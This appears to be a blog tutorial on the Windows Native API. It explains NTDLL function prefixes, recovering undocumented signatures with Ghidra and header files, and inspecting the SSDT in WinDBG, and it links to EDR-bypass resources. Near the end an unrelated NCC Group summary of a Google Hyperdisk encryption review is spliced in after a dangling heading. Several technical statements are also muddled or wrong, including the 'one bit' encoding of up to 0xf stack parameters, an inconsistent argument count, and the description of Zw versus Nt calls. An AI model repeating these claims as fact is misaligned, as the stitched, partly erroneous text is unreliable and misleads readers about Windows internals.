The native API is used early in the Windows startup process when other components or APIs are not available yet. Therefore, a few Windows components, such as the Client/Server Runtime Subsystem (CSRSS), are implemented using the Native API.  The native API is also used by subroutines from Kernel32.DLL and others to implement Windows API on which most of the Windows components are created.

The native API contains several functions, including C Runtime Function that are needed for a very basic C Runtime execution, such as strlen(); however, it lacks some other common functions or procedures such as malloc(), printf(), and scanf(). The reason for that is that malloc() does not specify which heap to use for memory allocation, and printf() and scans() use a console which can be accessed only through Kernel32.

Native API Naming Convention

Most of the native APIs have a prefix such as Nt, Zw, and Rtl etc. All the native APIs that start with Nt or Zw are system calls which are declared in ntoskernl.exe and ntdll.dll and they are identical when called from NTDLL.

• Nt or Zw: When called from user mode (NTDLL), they execute an interrupt into kernel mode and call the equivalent function in ntoskrnl.exe via the SSDT. The only difference is that the Zw APIs ensure kernel mode when called from ntoskernl.exe, while the Nt APIs don’t.^[1] 
• Rtl: This is the second largest group of NTDLL calls. It contains the (extended) C Run-Time Library, which includes many utility functions that can be used by native applications but don’t have a direct kernel support.
• Csr: These are client-server functions that are used to communicate with the Win32 subsystem process, csrss.exe.
• Dbg: These are debugging functions such as a software breakpoint.
• Ki: These are upcalls from kernel mode for events like APC dispatching.
• Ldr: These are loader functions for Portable Executable (PE) file which are responsible for handling and starting of new processes.
• Tp: These are for ThreadPool handling.

Figuring Out Undocumented APIs

Some of these APIs that are part of Windows Driver Kit (WDK) are documented but Microsoft does not provide documentation for rest of the native APIs. So, how can we find the definition for these APIs? How do we know what arguments we need to provide?

As we discussed earlier, these native APIs are defined in ntdll.dll and ntoskernl.exe. Let’s open it in Ghidra and see if we can find the definition for one of the native APIs, NtQueryInformationProcess().

Let’s load NTDLL in Ghidra, analyse it, and check exported functions under the Symbol tree:

Well, the function signature doesn’t look good. It looks like this API call does not accept any parameters (void) ? Well, that can’t be true, because it needs to take at least a handle to a target process.

Now, let’s load ntoskernl.exe in Ghidra and check it there.

Okay, that’s little bit better. We now at least know that it takes five arguments. But what are those arguments? Can we figure it out? Well, at least for this native API, I found its definition on MSDN here. But what if it wasn’t there? Could we still figure out the number of parameters and their data types required to call this native API?

Let’s see if we can find a header file in the Includes directory in Windows Kits (WinDBG) installation directory.

As you can see, the grep command shows the NtQueryInformationProcess() is found in two files, but the definition is found only in winternl.h.

Alas, we found the function declaration! So, now we know that it takes 3 arguments (IN) and returns values in two of the structure members (OUT), ReturnLength and ProcessInformation.

Similarly, another native API, NtOpenProcess() is not defined in NtOSKernl.exe but its declaration can be found in the Windows driver header file ntddk.h.

Note that not all Native APIs have function declarations in user mode or kernel mode header files and if I am not wrong, people may have figured them out via live debug (dynamic analysis) and/or reverse engineering.

System Service Descriptor Table (SSDT)

Windows Kernel handles system calls via SSDT and before invoking a syscall, a SysCall number is placed into EAX register (RAX in case of 64 bit systems). It then checks the KiServiceTable from Kernel’s address space for this SysCall number.

For example, SysCall number for NtOpenProcess() is 0x26. we can check this table by launching WinDBG in local kernel debug mode and using the dd nt!KiServiceTable command.

It displays a list of offsets to actual system calls, such as NtOpenProcess(). We can check the syscall number for NtOpenProcess() by making the dd command display the 0x27th entry from the start of the table (It’s 0x26 but the table index starts at 0).

As you can see, adding L27 to the dd nt!KiServiceTable command displays the offsets for up to 0x26 SysCalls in this table. We can now check if offset 05f2190 resolves to NtOpenProcess(). We can ignore the last bit of this offset, 0. This bit indicates how many stack parameters need to be cleaned up post the SysCall.

The first four parameters are usually pushed to the registers and remaining are pushed to the stack. We have just one bit to represent number of parameters that can go onto the stack, we can represent maximum 0xf parameters.

So in case of NtOpenProcess, there are no parameters on the stack that need to be cleaned up. Now let’s unassembled the instructions at nt!KiServiceTable + 05f2190 to see if this address resolves to SysCall NtOpenProcess().

References / To Do

https://en.wikipedia.org/wiki/Windows_Native_API

https://web.archive.org/web/20110119043027/http://www.codeproject.com/KB/system/Win32.aspx

https://web.archive.org/web/20070403035347/http://support.microsoft.com/kb/187674

https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess

https://learn.microsoft.com/en-us/windows/win32/api/

https://techcommunity.microsoft.com/t5/windows-blog-archive/pushing-the-limits-of-windows-processes-and-threads/ba-p/723824

Windows Device Driver Documentation: https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/_kernel/

Process Info, PEB and TEB etc: https://www.codeproject.com/Articles/19685/Get-Process-Info-with-NtQueryInformationProcess

https://www.microsoftpressstore.com/articles/article.aspx?p=2233328

Offensive Windows Attack Techniques: https://attack.mitre.org/techniques/enterprise/

https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/exploring-process-environment-block

https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Masquerade-PEB.ps1

https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/

Windows Drivers Reverse Engineering Methodology

During the spring of 2024, Google engaged NCC Group to conduct a design review of Confidential Mode for Hyperdisk (CHD) architecture in order to analyze how the Data Encryption Key (DEK) that encrypts data-at-rest is protected. The project was 10 person days and the goal is to validate that the following two properties are enforced:

• The DEK is not available in an unencrypted form in CHD infrastructure.
• It is not possible to persist and/or extract an unencrypted DEK from the secure hardware-protected enclaves.

The two secure hardware-backed enclaves where the DEK is allowed to exist in plaintext are:

• Key Management System HSM – during CHD creation (DEK is generated and exported wrapped) and DEK Installation (DEK is imported and unwrapped)
• Infrastructure Node AMD SEV-ES Secure Enclave – during CHD access to storage node (DEK is used to process the data read/write operations)

NCC Group evaluated Confidential Mode for Hyperdisk – specifically, the secure handling of Data Encryption Keys across all disk operations including:

• disk provisioning
• mounting
• data read/write operations

The public report for this review may be downloaded below: